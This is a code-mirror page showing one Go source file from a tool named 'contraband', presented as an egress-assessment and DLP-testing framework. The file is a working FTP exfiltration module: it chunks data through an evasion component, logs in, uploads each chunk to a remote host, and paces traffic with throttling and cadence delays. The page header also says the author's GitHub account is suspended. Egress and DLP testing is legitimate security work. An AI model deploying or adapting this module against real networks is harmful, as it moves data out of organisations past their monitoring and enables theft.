● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / file / ftp.go
← Back to directory
197 lines · 5.1 KB
Raw
1package file
2
3import (
4 "bytes"
5 "context"
6 "crypto/sha256"
7 "encoding/hex"
8 "fmt"
9 "io"
10 "net"
11 "strconv"
12 "time"
13
14 jftp "github.com/jlaffaye/ftp"
15 "github.com/shehzade/contraband/pkg/client/evasion"
16 "github.com/shehzade/contraband/pkg/client/exfil"
17 "github.com/shehzade/contraband/pkg/common"
18)
19
20// FTPExfiltrator implements cleartext FTP exfiltration using PASV and STOR.
21type FTPExfiltrator struct{}
22
23func NewFTPExfiltrator() *FTPExfiltrator {
24 return &FTPExfiltrator{}
25}
26
27func init() {
28 exfil.RegisterExfiltrator(common.ProtoFTP, NewFTPExfiltrator())
29}
30
31func (e *FTPExfiltrator) Protocol() string {
32 return common.ProtoFTP
33}
34
35func (e *FTPExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
36 if err := opts.Validate(); err != nil {
37 return nil, err
38 }
39
40 start := time.Now().UTC()
41 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
42 if err != nil {
43 return nil, err
44 }
45 result.Timestamps.StartTCP = start
46 result.PayloadType = opts.PayloadType
47 result.CarrierType = opts.CarrierType
48
49 if opts.TotalBytes <= 0 {
50 if br, ok := reader.(*bytes.Reader); ok {
51 opts.TotalBytes = int64(br.Len())
52 } else if bb, ok := reader.(*bytes.Buffer); ok {
53 opts.TotalBytes = int64(bb.Len())
54 }
55 }
56
57 if opts.ExpectedHash == "" {
58 if br, ok := reader.(*bytes.Reader); ok {
59 cur, _ := br.Seek(0, io.SeekCurrent)
60 h := sha256.New()
61 _, _ = io.Copy(h, br)
62 opts.ExpectedHash = hex.EncodeToString(h.Sum(nil))
63 _, _ = br.Seek(cur, io.SeekStart)
64 }
65 }
66 result.PayloadHash = opts.ExpectedHash
67
68 if opts.SessionToken.IsZero() {
69 tok, tokErr := common.NewSessionToken()
70 if tokErr != nil {
71 return nil, tokErr
72 }
73 opts.SessionToken = tok
74 }
75
76 chunker, err := evasion.NewStreamChunker(reader, opts.SessionToken, opts.ChunkSize, opts.TotalBytes)
77 if err != nil {
78 return nil, fmt.Errorf("failed to initialize chunk streamer: %w", err)
79 }
80 defer chunker.Close()
81 result.TargetVolume = opts.TotalBytes
82
83 username := opts.Headers["username"]
84 if username == "" {
85 username = "contraband"
86 }
87 password := opts.Headers["password"]
88 if password == "" {
89 password = "contraband"
90 }
91
92 targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
93
94 client, dialErr := jftp.Dial(targetAddr, jftp.DialWithTimeout(opts.Timeout))
95 if dialErr != nil {
96 result.Verdict = classifyError(dialErr)
97 result.ErrorMessage = dialErr.Error()
98 calculateDurations(&result)
99 return &result, dialErr
100 }
101 defer func() {
102 _ = client.Quit()
103 }()
104
105 result.Timestamps.ConnectedTCP = time.Now().UTC()
106
107 if loginErr := client.Login(username, password); loginErr != nil {
108 result.Verdict = classifyError(loginErr)
109 result.ErrorMessage = fmt.Sprintf("FTP login failed: %v", loginErr)
110 calculateDurations(&result)
111 return &result, loginErr
112 }
113
114 result.Timestamps.FirstByteSent = time.Now().UTC()
115
116 var headEvidence []byte
117 for {
118 chunkFrame, seq, err := chunker.Next()
119 if err == io.EOF {
120 break
121 }
122 if err != nil {
123 result.Verdict = classifyError(err)
124 result.ErrorMessage = err.Error()
125 calculateDurations(&result)
126 return &result, err
127 }
128
129 if len(headEvidence) < 768 && len(chunkFrame) > common.ChunkHeaderSize {
130 p := chunkFrame[common.ChunkHeaderSize:]
131 needed := 768 - len(headEvidence)
132 if needed > len(p) {
133 needed = len(p)
134 }
135 headEvidence = append(headEvidence, p[:needed]...)
136 }
137
138 filename := fmt.Sprintf("chunk_%s_%d.dat", opts.SessionToken.String(), seq)
139
140 storErr := client.Stor(filename, bytes.NewReader(chunkFrame))
141 if storErr != nil {
142 result.Verdict = classifyError(storErr)
143 result.ErrorMessage = fmt.Sprintf("FTP STOR failed for chunk %d: %v", seq, storErr)
144 calculateDurations(&result)
145 return &result, storErr
146 }
147
148 result.BytesSent += int64(len(chunkFrame))
149
150 if opts.Shaper != nil {
151 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
152 result.Verdict = classifyError(err)
153 result.ErrorMessage = err.Error()
154 calculateDurations(&result)
155 return &result, err
156 }
157 }
158 if opts.Cadence != nil {
159 delay := opts.Cadence.NextDelay()
160 if delay > 0 {
161 select {
162 case <-time.After(delay):
163 case <-ctx.Done():
164 result.Verdict = classifyError(ctx.Err())
165 result.ErrorMessage = ctx.Err().Error()
166 calculateDurations(&result)
167 return &result, ctx.Err()
168 }
169 }
170 }
171 }
172
173 result.Timestamps.AckReceived = time.Now().UTC()
174 result.Timestamps.TeardownDone = time.Now().UTC()
175 result.Verdict = common.VerdictSuccess
176 result.RawEvidence = common.FormatBoundedRawEvidence(headEvidence)
177 if result.PayloadHash == "" {
178 result.PayloadHash = chunker.PayloadHashHex()
179 }
180
181 calculateDurations(&result)
182 return &result, nil
183}
184
185func calculateDurations(r *common.ProbeResult) {
186 if r.Timestamps.TeardownDone.IsZero() {
187 r.Timestamps.TeardownDone = time.Now().UTC()
188 }
189 r.Timestamps.ComputeDurations()
190 if r.Timestamps.TransferDuration > 0 && r.BytesSent > 0 {
191 r.ThroughputBps = float64(r.BytesSent*8) / (float64(r.Timestamps.TransferDuration) / float64(time.Second)) / 1000.0
192 }
193}
194
195func classifyError(err error) common.Verdict {
196 return common.ClassifyError(err)
197}